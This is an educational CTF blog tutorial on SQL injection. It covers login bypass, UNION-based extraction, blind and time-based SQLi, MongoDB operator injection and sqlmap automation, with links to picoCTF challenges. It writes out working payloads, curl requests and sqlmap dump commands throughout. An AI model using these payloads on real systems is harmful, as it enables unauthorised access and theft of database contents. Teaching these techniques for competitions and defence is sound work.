April 4, 2026

SQL Injection for CTF: From Authentication Bypass to Data Extraction

A practical guide to SQL injection techniques used in CTF competitions: authentication bypass, UNION-based extraction, blind SQLi, NoSQL injection, and sqlmap automation - with picoCTF challenge links throughout.

Introduction

SQL injection (SQLi) is one of the most consistently tested vulnerability categories in CTF web exploitation challenges. Despite being a decades-old attack, it keeps appearing because so many real applications still build SQL queries by concatenating raw user input directly into query strings.

In picoCTF, SQL injection challenges range from single-field authentication bypasses all the way to multi-step blind extraction and automated scanning with sqlmap. This guide walks through each technique in order of complexity, with direct links to the picoCTF writeups where each one appears.

First steps: When you land on a login form or search input, always try a single quote ' first. A database error message or a broken page confirms the input is unsanitized and you can proceed with injection payloads.
Authentication bypassEasy

When to use: Login forms with a username/password field and no parameterization

UNION-based extractionMedium

When to use: Output is reflected in the page and you can infer column count

Blind SQLiHard

When to use: No output is reflected - only true/false behavior or timing differences

sqlmapEasy

When to use: Any SQLi surface - automates detection and extraction end-to-end

Authentication bypass

The classic entry point. The backend constructs a query like:

SELECT * FROM users WHERE username='INPUT' AND password='PASS'

Injecting ' OR 1=1-- - into the username field transforms this into a query that always returns true, bypassing the password check entirely:

SELECT * FROM users WHERE username='' OR 1=1-- -' AND password='anything'
^^^^^^^^^
always true; rest is a comment

The -- - sequence starts a SQL comment, so everything after it (including the password check) is ignored. Common comment styles vary by database:

-- - MySQL, SQLite, PostgreSQL
# MySQL only
/* Most databases (block comment)

Common payloads to try when you suspect a login bypass:

' OR 1=1-- -
' OR '1'='1
admin'-- -
' OR 1=1#

picoCTF challenges using this technique

ROT13-encoded input (Irish-Name-Repo 2)

Some challenges add a twist: the backend ROT13-encodes your input before inserting it into the query. You need to ROT13-encode your payload first so the decoded version contains the actual injection syntax.

# Payload: ' OR 1=1-- -
# ROT13: ' BE 1=1-- -
python3 -c "import codecs; print(codecs.encode(\"' OR 1=1-- -\", 'rot13'))"

See the Irish-Name-Repo 2 writeup for the exact flow, and Irish-Name-Repo 3 where the encoding layer is buried deeper.

UNION-based extraction

Once you can inject, the next goal is extracting data from the database. UNION-based injection appends a second SELECT statement whose output is returned alongside the legitimate query result.

The catch: both SELECT statements must return the same number of columns. To find the column count, increment the ORDER BY value until the query errors:

' ORDER BY 1-- - # works
' ORDER BY 2-- - # works
' ORDER BY 3-- - # error -> 2 columns

With the column count known, build the UNION payload. Use NULL for columns you do not care about, and place your extraction target in a column that renders as text:

# Extract the database name (2-column table)
' UNION SELECT database(), NULL-- -
# List all tables in the current database
' UNION SELECT table_name, NULL FROM information_schema.tables
WHERE table_schema=database()-- -
# Dump a specific column
' UNION SELECT flag, NULL FROM flags-- -

picoCTF challenges using this technique

More SQLi (2023) - three-stage extraction

The More SQLi challenge walks through a full extraction sequence: discover the column count, enumerate table names from information_schema, then pull the flag column from the target table. It is the best picoCTF example of chained UNION injection.

Blind SQLi

Blind SQL injection applies when query results are not echoed back to the page. Instead, you infer information from binary signals: whether a record is found (boolean-based) or how long the response takes (time-based).

Boolean-based

Ask the database yes/no questions by making the injected condition true or false and observing whether the page renders differently:

# Is the first character of the flag 'p'?
' AND SUBSTRING(flag,1,1)='p'-- -
# Is the flag longer than 30 characters?
' AND LENGTH(flag)>30-- -

Time-based

When there is no visible difference in the response body, cause a deliberate delay if your condition is true:

# MySQL: sleep 3 seconds if condition is true
' AND IF(SUBSTRING(flag,1,1)='p', SLEEP(3), 0)-- -
# SQLite: heavy query as delay (no SLEEP)
' AND CASE WHEN SUBSTR(flag,1,1)='p' THEN LIKE('X%',UPPER(HEX(RANDOMBLOB(100000000)))) END-- -

Automating character-by-character extraction by hand is tedious - this is where sqlmap (next section) becomes essential.

NoSQL injection

Not every web challenge uses a relational database. MongoDB and similar document stores are vulnerable to operator injection: instead of injecting SQL syntax, you inject JSON operators that change the query semantics.

A Node.js + MongoDB login that builds its query from POST body parameters is vulnerable when JSON is parsed directly:

# Bypass a MongoDB login with the $ne (not-equal) operator
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
# URL-encoded form variant
curl -X POST http://target/login \
-d 'username[$ne]=foo&password[$ne]=bar'

Common operators to try:

{"$ne": null} # not equal to null -> matches everything
{"$gt": ""} # greater than empty string -> matches everything
{"$regex": ".*"} # matches any string

picoCTF challenge using this technique

sqlmap automation

sqlmap is an open-source tool that automates the detection and exploitation of SQL injection vulnerabilities. Rather than crafting payloads by hand, you point it at a URL or request file and it handles enumeration, extraction, and reporting automatically.

Install

sudo apt install sqlmap

Basic scan

# Test a URL parameter for SQLi
sqlmap -u 'http://target/search?q=test'
# Test POST data
sqlmap -u 'http://target/login' --data='username=test&password=test'
# Use a saved Burp request file
sqlmap -r request.txt

Extraction flags

--dbs # list all databases
--tables # list tables in current database
--dump # dump all table contents
-D mydb -T users --dump # dump specific table
--level=5 --risk=3 # more aggressive testing
CTF tip: Add --batch to accept all defaults non-interactively, and --threads=4 to speed up blind extraction. In CTF environments the database is usually small so a full --dump finishes quickly.

picoCTF challenge using this technique

Quick reference

ScenarioPayload / tool
Login bypass (MySQL / SQLite)' OR 1=1-- -
Login bypass (MySQL only)' OR 1=1#
Confirm injection with error'
Find column count' ORDER BY N-- -
Dump database name' UNION SELECT database()-- -
List tablesinformation_schema.tables
MongoDB operator bypass{"$ne": null}
Automate everythingsqlmap -u URL --dump --batch